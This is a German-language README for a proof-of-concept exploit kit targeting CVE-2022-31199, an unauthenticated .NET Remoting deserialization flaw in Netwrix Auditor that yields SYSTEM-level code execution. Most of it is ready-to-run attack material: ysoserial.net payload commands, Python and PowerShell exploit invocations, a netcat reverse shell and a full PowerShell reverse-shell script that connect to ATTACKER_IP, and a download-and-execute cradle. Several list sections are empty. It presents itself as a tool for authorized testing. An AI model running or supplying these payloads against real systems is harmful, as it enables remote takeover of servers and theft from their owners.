Proof-of-Concept-Exploits für CVE-2022-31199, eine kritische .NET-Deserialisierungs-RCE in Netwrix Auditor. Enthält Python- und PowerShell-Skripte, Payload-Erzeugung mit ysoserial.net und Erkennungssignaturen für autorisierte Sicherheitstests.
CVE-2022-31199 ist eine kritische unsichere Objektdeserialisierungs-Schwachstelle in Netwrix Auditor-Versionen vor 10.5. Die Schwachstelle existiert in einem ungesicherten .NET Remoting-Dienst, der auf TCP-Port 9004 lauscht und es nicht authentifizierten entfernten Angreifern ermöglicht, Code mit den Berechtigungen NT AUTHORITY\SYSTEM auszuführen.
Diese Schwachstelle wurde in freier Wildbahn aktiv ausgenutzt durch:
Eine erfolgreiche Ausnutzung führt typischerweise zu:
Dieses Repository enthält vollständige Proof-of-Concept (POC)-Exploits für CVE-2022-31199:
exploit.py - Python-basiertes Exploitation-Frameworkexploit.ps1 - PowerShell-Exploitation-SkriptREADME.md - Diese Dokumentationmanual-exploitation.md - Schritt-für-Schritt-Anleitung zur manuellen Ausnutzungysoserial.net - .NET-Deserialisierungs-Payload-Generator
ExploitRemotingService - .NET Remoting-Exploitation-Tool
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Mit ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# Schritt 1: Payload generieren
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# Schritt 2: Exploit ausführen
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# Benutzerdefinierter Port
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# Benutzerdefinierter Endpunkt
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : Ziel-IP-Adresse oder Hostname (erforderlich)
--port : Zielport (Standard: 9004)
--endpoint : .NET Remoting-Endpunktname (Standard: UAVRServer)
--check : Nur Schwachstelle prüfen, nicht ausnutzen
--payload : Base64-codierter Payload von ysoserial.net
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Einfache Befehlsausführung
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# Ausgabe in Datei schreiben
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# Benutzerdefinierter Port
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : Ziel-IP-Adresse oder Hostname (erforderlich)
-Port : Zielport (Standard: 9004)
-Command : Auf dem Ziel auszuführender Befehl (Standard: "whoami")
-CheckOnly : Nur Schwachstelle prüfen, nicht ausnutzen
# Systeminformationen abrufen
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# Konnektivität testen
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# Mit Lease-Modus ausführen (umgeht einige Schutzmaßnahmen)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# Mit Objektreferenz ausführen
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
Die Schwachstelle beruht auf:
1. Angreifer verbindet sich mit TCP-Port 9004
2. Identifiziert den .NET Remoting-Dienst (UAVRServer-Endpunkt)
3. Erstellt bösartigen serialisierten Payload mit ysoserial.net
4. Sendet den Payload über das .NET Remoting-Protokoll
5. Ziel deserialisiert das Objekt mit BinaryFormatter
6. Gadget-Kette führt beliebigen Code aus
7. Code wird mit NT AUTHORITY\SYSTEM-Berechtigungen ausgeführt
Die folgenden ysoserial.net-Gadgets funktionieren gegen diese Schwachstelle: